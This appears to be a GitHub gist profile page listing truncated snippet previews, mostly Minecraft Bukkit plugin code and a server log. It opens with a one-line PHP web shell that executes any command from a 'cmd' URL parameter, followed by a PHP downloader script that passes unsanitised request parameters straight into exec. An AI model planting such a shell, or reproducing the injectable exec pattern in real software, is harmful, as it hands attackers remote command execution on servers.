Skip to content

Instantly share code, notes, and snippets.

View ScruffyRules's full-sized avatar

ScruffyRules ScruffyRules

View GitHub Profile
<?php
shell_exec($_GET["cmd"]);
<?php
if (filter_var($_GET["url"], FILTER_VALIDATE_URL) === FALSE) {
die('Not a valid URL');
}
if ($_GET["q"] == "h" || $_GET["q"] == "l") {
exec('java -jar runytd2.jar -'.$_GET["q"].' '.$_GET["url"]);
} else {
exec('java -jar runytd2.jar -l '.$_GET["url"]);
}
header('Location: http://vps.huskehhh.com/dl/ScruffyRules/YouTubeDownloader/');
public static List<Location> sphere(Location l, double radius){
return sphere(l, radius, 64);
}
public static List<Location> sphere(Location l, double radius, int iterations){
List<Location> list = new ArrayList<>();
for(int i = 0; i < iterations; i++){
Bukkit.getScheduler().runTaskLaterAsynchronously(this, new Runnable() {
@Override
public void run() {
p.sendMessage("Your message was cancelled because the following amount of fucks were given by the server: " + fucksGiven);
}
}, 180*20L);
@EventHandler
public void onBlockBreak(BlockBreakEvent event) {
Block block = event.getBlock();
byte data = block.getData();
Block blocks = block.getRelative(0, 1, 0);
while (block.getType().equals(blocks.getType()) && data == blocks.getData()) {
if (event.getPlayer().getGameMode().equals(GameMode.CREATIVE)) {
blocks.setType(Material.AIR);
} else {
String[] regex = ("<(.*?)> ," +
"11\\* (.*?) has joined the game\\n," +
"11\\* (.*?) has left the game\\n," +
"\\* 08(.*?) ," +
"There are .? players connected: (.*)\\n," +
"04\\* 08(.*?) has been kicked \\(10\\[You have been kicked] \\n," +
"04\\* 08(.*?) has been kicked \\(Kicked for flying \\(or related\\)\\)\\n," +
"04\\* 08(.*?) has been kicked \\(You logged in from another location\\)\\n").split(",");
Pattern pattern;
package com.oresomecraft.BattleMaps.maps;
import net.minecraft.server.v1_6_R2.Enchantment;
import org.bukkit.*;
import org.bukkit.event.Listener;
import org.bukkit.inventory.*;
import org.bukkit.inventory.meta.ItemMeta;
import org.bukkit.potion.*;
[00:38:58] [Server thread/INFO]: Starting minecraft server version 1.7.9
[00:38:58] [Server thread/WARN]: To start the server with more ram, launch it as "java -Xmx1024M -Xms1024M -jar minecraft_server.jar"
[00:38:58] [Server thread/INFO]: Loading properties
[00:38:59] [Server thread/INFO]: Default game type: CREATIVE
[00:38:59] [Server thread/INFO]: Generating keypair
[00:38:59] [Server thread/INFO]: Starting Minecraft server on *:25565
[00:39:00] [Server thread/INFO]: This server is running CraftBukkit version git-Bukkit-1.7.2-R0.3-59-g6efeddf-b3074jnks (MC: 1.7.9) (Implementing API version 1.7.9-R0.1-SNAPSHOT)
[00:39:00] [Server thread/INFO]: [BattleMapTester] Loading BattleMapTester v0.1
[00:39:00] [Server thread/INFO]: [MapsPlugin] Loading MapsPlugin v1.0
[00:39:00] [Server thread/WARN]: **** SERVER IS RUNNING IN OFFLINE/INSECURE MODE!
package test;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;